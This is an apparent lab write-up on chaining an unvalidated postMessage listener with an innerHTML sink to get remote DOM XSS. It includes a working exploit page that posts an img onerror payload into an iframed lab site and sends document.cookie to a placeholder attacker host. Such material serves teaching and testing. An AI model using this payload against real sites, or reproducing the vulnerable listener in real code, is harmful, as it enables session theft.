Skip to main content

From self-XSS to real XSS

What’s new here?​

This challenge combines two bugs:

  1. Insecure postMessage listener
    • No event.origin validation
  2. DOM XSS sink
    • Message content is injected into the DOM unsafely

Result: Remote XSS via iframe


Mental model​

Normally​
  • Self-XSS requires user interaction
  • Not exploitable remotely
Here​
  • postMessage lets attacker send data into victim’s DOM
  • postMessage removes user interaction
  • iframe makes it cross-origin

Self-XSS → Stored/Reflected XSS equivalent

Vulnerable pattern​

Vulnerable listener​
window.addEventListener("message", function (event) {
document.getElementById("output").innerHTML = event.data;
});
  • No origin check
  • Uses innerHTML
  • Attacker controls event.data
Attack Flow​
Victim logged in
↓
Victim visits attacker page
↓
Attacker loads vulnerable site in iframe
↓
Attacker sends XSS payload via postMessage
↓
Payload executes in victim origin
↓
Cookies / secrets leaked

The Attack​

To exploit this issue, you will need to create a malicious HTML page that will open the vulnerable page in an iframe and postMessage to the iframe.

<iframe src="http://ptl-dd5dd9f3643d-ad3e978ff5fb.libcurl.me/" id=f width=100% height=600></iframe>
<script>
setTimeout(()=>{
f.contentWindow.postMessage(`
<img src=x onerror="location='http://public-ip/?c='+encodeURIComponent(document.cookie)">
`,"*");
}, 3000);
</script>

This will send the XSS payload to the event listener, which gets injected to the page using innerHTML which executes the xss payload and we can steal the cookie.